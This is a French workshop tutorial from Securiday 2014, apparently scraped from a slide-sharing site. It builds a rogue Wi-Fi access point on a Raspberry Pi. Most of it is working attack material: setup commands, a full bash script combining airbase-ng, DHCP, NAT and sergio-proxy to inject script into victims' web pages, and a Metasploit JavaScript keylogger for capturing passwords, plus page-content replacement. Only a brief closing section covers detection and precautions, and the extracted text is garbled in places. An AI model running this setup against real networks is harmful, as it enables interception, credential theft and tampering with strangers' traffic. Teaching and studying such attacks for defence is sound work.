rogue raspberry pi
Post on 07-Feb-2017
248 Views
Preview:
TRANSCRIPT
Raspberry Rogue Access Point
HAKIM KHANCHOUCH (ESPRIT)
WAJD KANZALI (ESPRIT)
CHOKRI JEMAI (ESPRIT)
MALEK BADREDDINE (ESPRIT)
ASMA DAOUD (ESPRIT)
NIDHAL ABIDI (ESPRIT)
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
1
Table Métier I. Présentation ...................................................................................................................... 2
II. Présentation des outils utilisés ........................................................................................ 2
1. Raspberry Pi : ................................................................................................................ 2
2. Raspbian : ...................................................................................................................... 3
3. Karmasploit : ................................................................................................................. 5
III. Topologie réseau........................................................................................................... 5
IV. Configuration des outils................................................................................................ 6
1. Rasbian: ......................................................................................................................... 6
2. aircrack-ng: .................................................................................................................. 62
3. udhcpd: ....................................................................................................................... 62
4. metasploit(karma): ..................................................................................................... 63
5. Rasbian: ....................................................................................................................... 63
V. Scénario de test ................................................................................................................ 8
Principe et fonctionnement :....................................................................................... 85
VII. Conclusion ................................................................................................................... 17
Table des figures Figure 1 : RasBerry Pi ................................................................................................................. 3
Figure 2: Schéma index.............................................................................................................. 3
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
2
I. Présentation A travers ce tutoriel, vous allez découvrir à quel point il est aisé de créer un
faux point d'accès ressemblant à s'y méprendre à un hotspot wifi. Vous
réaliserez ainsi qu'il est extrêmement dangereux de se connecter à des
réseaux wifi mal protégés en plus on va essayer d'injecter des données
arbitraires dans la session, lancer des attaques de navigateurs depuis
Metasploit, et dynamiquement remplacer les fichiers avec les versions
malveillantes.
II. Présentation des outils utilisés
1. Raspberry Pi :
RaspberryPiModèle B avec 512 Mo de RAM.
Le Raspberry Pi est un nano-ordinateur mono-carte à processeur ARM dont les
particularités sont la très petite taille et le prix modique 100 DT (35$) . Cet ordinateur
permet d'exécuter de plusieurs variantes de système d'exploitation libre GNU/Linux
tels que pedora ,Raspbian (très recommandée ) , arch , slackware .Android fonctionne
également sur le raspberry Pi tout comme freeBSD et netBSD.
On a choisi le Raspberry Pi essentiellement pour sa portabilité et aussi grâce à la
flexibilité qu'il offre au niveau de l'utilisation.
Par exemple vous pouvez cédez votre gentillesse sur les ondes wifi en partagent votre
connexion 3G avec vos amis à l'aide de la PI ou vous pouvez être malin en les
piégeant.
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
3
Figure 1 : RasBerry Pi
Figure 2: Schéma index
2. Raspbian :
Raspbian est un système d'exploitation libre et gratuit basé sur :
Linux/GNU/Debian et optimisé pour fonctionner sur un Raspberry Pi.
a. Aircrack-ng
Aircrack-ng est une suite de logiciels de surveillance des réseaux sans fil dont
l'utilisation principale est de « casser » les clés WEP et WPA des réseaux WIFI.
C'est en fait une "reprise" du logiciel aircrack (premier du nom) qui a été abandonné.
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
4
La suite Aircrack-NG contient entre autres les outils suivants:
aircrack-ng : Casseur de clés WEP statiques et WPA-PSK (Nouveau type de
casseur: PTW).
airdecap-ng: Décrypteur de fichiers WEP/WPA capturés.
airdriver-ng: Permet de patcher les drivers, par exemple pour le cas du
rtl8187, ce qui est utile pour faire l'injection de paquet.
aireplay-ng : Programme d'injection de paquets 802.11 (disponible sous
Linux et FreeBSD seulement).
airmon-ng : Permet d'activer/désactiver le mode moniteur d'une carte wifi.
Dans ce mode la carte wifi, se place en "observateur" du réseau.
airodump-ng : Programme de capture de paquets 802.11.
airolib-ng : Utile pour le bruteforce de clef WPA. Il crée une base de données
contenant vos fichiers dictionnaire pour un ou plusieurs SSID.
Le crack est très rapide avec cette méthode, cependant c'est que la création de
la base de données qui elle sera longue.
airserv-ng : Permet de lancer une machine avec une interface en mode
moniteur, et l'utiliser depuis une autre machine avec la suite aircrack-ng, en
spécifiant l'adresse IP et le port .
airtun-ng : Programme pour la création d'une interface virtuelle.
easside-ng : Permet de communiquer à un point d'accès en WEP sans
connaître la clé.
packetforge-ng : Permet de forger des paquets ARP, UDP, ICMP ou
personnalisés.
wesside-ng : Crack automatiquement une clef WEP en essayant toutes les
attaques.
Airbase-ng :Est destiné à créer des AP (Access Point) via une carte réseau wi-
fi.
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
5
3. Karmasploit :
Karmetasploit est un outil en ruby qui fonctionne grâceàMetasploit et qui permet de
mettre en place un faux point d’accès wifi et capturer les mots de passe qui transitent.
III. Topologie réseau
Dans un réseau wlan on va placer notre raspberry pi pour rediriger le traffic et
se mettre en MITM entre les machines et le point d'accés
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
6
IV. Configuration des outils On commence par la configuration de notre raspberry , on a choisit l'os
rasbian version devian pour la raspberry pi
1. Rasbian:
préparer la carte SD pour accueillir Rasbian
1- Connecter la carte SD au lecteur puis dans le terminal, tapez :
df-h 2- Chercher la ligne correspondant à votre carte mémoire :
umountdev/mmdisk1
# dd bs=1M if=wheezy-raspbian.img of=/dev/mmdick1
3- wheezy-raspbian.img : l'image de l'OS télécharger :
http://93.174.99.29/bt/fed394df53483a20bb44f549cce7e8cf7c4b2058/data/201
4-01-07-wheezy-raspbian.zip
4- mmdisk1 : carte mémoire de 8Go
5- mise en route du RPi (Raspberry Pi)
6- écran d'amorçage pour la configuration du Rasbian
7- Paramétrage du serveur SSH :
On ouvre le terminal et on tape :
sudo bash ssh-keyg
apt-get update && apt-get install libpcap0.8 libpcap0.8-dev libnet1 pcaputils
libssl0.9.8 libssl-dev
sudo apt-get -y install subversion libssl-dev libsqlite3-dev libnl1 libnl-dev build-
essential ksh
svn co http://svn.aircrack-ng.org/trunk/aircrack-ng
cdaircrack-ng
makesqlite=true
makesqlite=true unstable=true
sudo make sqlite=true unstable=true install
on va installer un serveur dhcp appeller udhcpd
apt-get install udhcpd
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
7
On alloue donc à la personne qui va demander une ip le range 192.168.2.10-
20, on dit que le serveur DNS est 192.168.2.1, et que notre netmask est
255.255.255.0
Une fois DHCPD configuré (on le démarre pas pour le moment...), on va
commencer par autoriser un "foward" IPV4 en lancant cette commande:
pour la configuration du firewall rasbian utilise par defaut le firewall netfilter
Iptables :
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Et pour injecter des données on va utiliser sergio proxy
sergio-proxy
Un proxy, à travers lequel est envoyé le trafic de la cible. Le trafic peut être
analysé et modifié, comme nous allons le voir.
cd /pentest/web/
wget -P http://sergio-proxy.googlecode.com/files/sergio-proxy-v0.2.1.tar.gz
tar -xf sergio-proxy-v0.2.1.tar.gz
rm sergio-proxy-v0.2.1.tar.gz
voir : https://antaresnotebook.wordpress.com/2013/03/31/tuto-rogue-ap-
episode-2-sniffing-de-base-et-un-peu-de-fun/
karma sploit :
On commence par installer le framework-metasploit :
# svn co http://metasploit.com/svn/framework3/trunk msf3
# gem install activerecord sqlite3-ruby
https://github.com/dpzhang314/pentest/tree/master/net-
wireless/karmetasploit/files
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
8
voir :http://www.darkoperator.com/installing-metasploit-in-ubunt/
V. Scénario de test
Principe et fonctionnement :
Notre victime se retrouve sur un réseau effectivement connecté à l'internet,
dans ce cas la connexion est représentée par «internet», mais il se peut
que l'attaquant ne laisse aucun accès à l'internet pour se jouer de sa victime.
Il se peut aussi que l'attaquant laisse la victime accéder à l'internet de
façon transparente, et sniffe toutes les données au passage.
La victime veut aller sur www.goolge.com et s'est retrouvé sur ce qui
semblait être le portail d'authentification du hotspot légitime, comment
est-ce possible? Tout simplement parce que le réseau abrite un serveur
web hébergeant des pages trafiquées ressemblant à s'y méprendre aux
pages originales. Il est assez simple d'enregistrer des pages web et de
les modifier si l'on connait quelque peu le langage html. Il suffit alors
de mettre ces fausses pages sur le serveur web, et de rediriger la victime
vers ce dernier. Sachez d'ailleurs qu'une seule machine suffit pour
l'attaque, le serveur web peut très bien être hébergé sous notre raspberry
pi , voir mêmen'importe oùsur le net. Le serveur web est représenté ici
par une autre machine pour clarifier les interactions au sein du réseau La
technique consiste à déconnecter la victime du Hotspot légitime pour qu'elle
se reconnecte à la Rogue AP contrôlée par le Pirate
Votre carte bascule donc en mode monitor sur une interface virtuelle (dans
mon cas, mais pas pour tous, tout dépends de votre carte) et nous démarrons
airodump-ng sur l'interface mon0 pour écouter ce qui ce passe dans les airs
(sniffer) on peut constater que :
airmon-ng start wlan0&&airodump-ng mon0
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
9
On constate donc que la machine possédantla mac adresse
"00:1E:E5:A4:DA:E2" est connectée sur le routeur "default" mais elle continue
de "prober" pour le routeur s'appelant test, et un autre routeur nommé
test2.
Maintenant c'est là que notre attaque va prendre naissance, nous allons
premièrement nous faire passer pour un routeur que la machine visée
recherche via l’outil
airbase-ng, et surtout rediriger tous les paquets sur une autre carte réseau
afin que la personne continue d'avoir une connections internet et ainsi
effectuer un man in the middle sur notre victime.
On NAT donc notre victime sur le foward de notre autre carte réseau.
L'attaque en elle-même est relativement simple, on a en gros 2 choix intéressants dans
ce type d'attaque avec airbase-ng:
Soit on vise une victime
Soit on en vise de multiples
Si l'on vise une victime on va prendre un des SSID qu'elle probe genre test, et lancer
ces commandes :
On lance la carte wi-fi en mode monitor
L'attaque en elle-même est relativement simple, on a en gros 2 choix intéressants dans
ce type d'attaque avec airbase-ng:
Soit on vise une victime
soit on en vise de multiples
Si l'on vise une victime on va prendre un des SSID qu'elle probe genre test, et lancer
ces commandes :
On lance la carte wi-fi en mode monitor
Notez bien que la mac adresse pour laquelle on se fait passer est fausse et spoofable
via airbase-ng, tout comme elle aurait pu l'être via un édit de ifconfig(
ifconfig<interface>hw<class><address> ), ou via le tool GNU macchanger qui
automatise ceci rapidement et simplement.
Et finalement notre commande/foward final :
On redirige donc en toute **transparence** tout ce qui passe sur mon0 vers le LAN,
notez que l'on pourrait le rediriger avec autant de simplicité sur une autre interface
WLAN, justement grâce à la virtualisation des interfaces wi-fi ou via une autre
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
10
carte wifi, par exemple USB, ainsi on pourrait prendre le contrôle d'un autre réseau
wi-fi, toujours via la suite Aircrack-ng, ce faire passer celui-ci via notre attaque, et
rediriger tout le trafic final sur ce routeur wi-fi usurpé.
Il existe un mode qui permet de répondre à tous les probes, sur tous les channels mais
beaucoup moins discret, avec l'option -P au lieu de -e, qui au final reste drôle et
considérable, suivant l'endroit où nous nous trouvons évidemment.
On a créé un script pour automatiser le lancement du point d'accès
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
11
#!/bin/bash
# Spécifier les interfaces réseau ici :
NET_IFACE=eth0
ROGUE_IFACE=wlan0
rm /home/udhcpd.*
rm $LOG_FILE
killall airbase-ng
killall udhcpd
airmon-ng stop mon0
# Installation de udhcpd et génération de sa config
echo "Installation de Udhcpd"
echo "(Ca peut prendre un peu de temps...)"
echo "max_leases 10
start 192.168.2.10
end 192.168.2.20
interface at0
domain local
option dns 8.8.8.8
option subnet 255.255.255.0
option router 192.168.2.1
lease 7200
lease_file /home/udhcpd.leases" > /home/udhcpd.conf
touch /home/udhcpd.leases
#Création du réseau WiFi
echo "Démarage du réseau WiFi"
airmon-ng start $ROGUE_IFACE
sleep 3
#airbase-ng -e test mon0 &
airbase-ng -e CyberSeK mon0 &
sleep 5
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
12
ifconfig at0 up
ifconfig at0 192.168.2.1 netmask 255.255.255.0
# Démarrage du DHCP et du Transfert de trafic
echo "Démarrage du serveur DHCP"
udhcpd /home/udhcpd.conf &
echo 1 > /proc/sys/net/ipv4/ip_forward
# Effacer toutes les règles IpTables pour ne garder que les bonnes
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
# Activer le transfert vers l'interface $NET_IFACE
iptables -t nat -A POSTROUTING -o $NET_IFACE -j MASQUERADE &
echo "Le réseau est opérationnel !"
echo "setting up sergio proxy"
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to
192.168.2.1:10000 &
cd sergio-proxy
./sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --inject --html-payload
"<script>alert(\"Souriez, vous etes pirates :-)\");</script>" &
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
13
Lorsque quelq’un essaye de se connecter :
1. Injection des données :
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
14
On commence par générer le code avec Metasploit, et on démarre un handler
(un processus d’écoute) :
msfcli auxiliary/server/capture/http_javascript_keylogger URIPATH=keylogger
SRVHOST=192.168.2.1 SRVPORT=8080 E
Une fois que c’est prêt (ça prend un peu de temps, attendez la mention
"Server started"), on démarre sergio-proxy avec les options qui vont bien :
./sergio-proxy.py-l 10000 -w /tmp/sergio-log.txt --inject --js-
url http://192.168.2.1:8080/keylogger/anyname.js
On se retrouve alors avec une console où apparaît tout ce que tape la cible
sur les sites qu’elle visite (login, mot de passe, recherche, messages,…). Le
code sera injecté sur toutes les pages, donc tous les résultats apparaîtront en
même temps ; les différentes sessions sont identifiées par une séquence
aléatoire mais on ne peut pas savoir à quel site ça correspond. Vous noterez
au passage que le résultat est sauvé dans différents fichiers texte au sein du
dossier /root/.msf4/loot/ pour pouvoir lire ça au calme plus tard chez soi au
coin du feu
pour injecter une page html :
./sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --inject --html-file
/var/www/image.html --match-str "</head>"
pour remplacer un texte
python2 sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --replacetext --
originaltext "François Hollande" --newtext "Nicolas Sarkozy"
pour remplacer une image
python2 sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --replaceimg --
newimg "http://www.decouvertes63.com/wp-
content/uploads/2011/10/jollyroger.gif"
2. Lancer Karma :
Msfconsole –r karma.rc
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
15
VI. CONTOURNER LES ATTAQUES DE CE
TYPE :
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
16
ni les firewall ni les antivirus peuvent nous proteger contre ce type
d'attaque
Alors ,pour empêcher l'installation de points d'accès non autorisés, les
entreprises peuvent
installer des systèmes de prévention des intrusions sans fil pour
surveiller le spectre radioélectrique pour les points d'accès non autorisés
Un système de prévention des intrusions sans fil facilite le travail de
vérification de ces points d'accès sur
une base continue pour savoir si il y a des points d'accès non autorisés
entre eux.
Afin de détecter les points d'accès non autorisés, deux conditions doivent être
testés:
-si le point d'accès est dans la l
iste des points d'accès gérés
-si oui ou non il est connecté au réseau sécurisé
La première des deux conditions ci
-dessus est facile à essai
-comparer l'adresse MAC sans fil
(aussi appelé BSSID) du point d'accès à la liste de BSSID du point d'accès géré.
Cependant, les
tests automatisés de la deuxième condition peut devenir difficile à la
lumière des facteurs
suivants:
-nécessité de couvrir différents types de dispositifs de points d'accès tels que
les relais, NAT
(routeur), les liaisons sans fil non cry
ptés, des liaisons sans fil cryptés, les différents types de
relations entre les adresses filaires et sans fil MAC des points d'accès, points
d'accès et doux,
-la nécessité de déterminer le point d'accès connectivité avec le temps
de réponse
acceptable d
ans les grands réseaux,
-l'obligation d'éviter les faux positifs et négatifs
NOM DE L’ATELIER |SECURIDAY 2014 ACCESS CONTROL
17
VII. Conclusion
La méthodedémotrée dans ce tutoriel permet à quelconque de vous
déconnecter de votre réseau wifi et de créer un réseau approximativement
identique au votre, permettant ainsi votre machine de s'y connecter
automatiquement. Ceci peut être évité si l'on prend les précautions suivantes:
Désactiver la Connexion Automatique sur les réseaux wifi, se connecter
manuellement au réseau désiré vous protège des Rogue Access Points.
Ne pas se connecter sur des wifis dont la source est inconnue, une personne
malveillante peut être à l'origine de ce réseau.
Verifier l'addresse mac du point d'accés auquel nous voulons se connecter
Soyez donc prudent lors de l'utilisation d'un Hotspot Wifi. Le seul moyen de
détecter une
fausse AP est de prendre le temps de bien contrôler le certificat utilisé
top related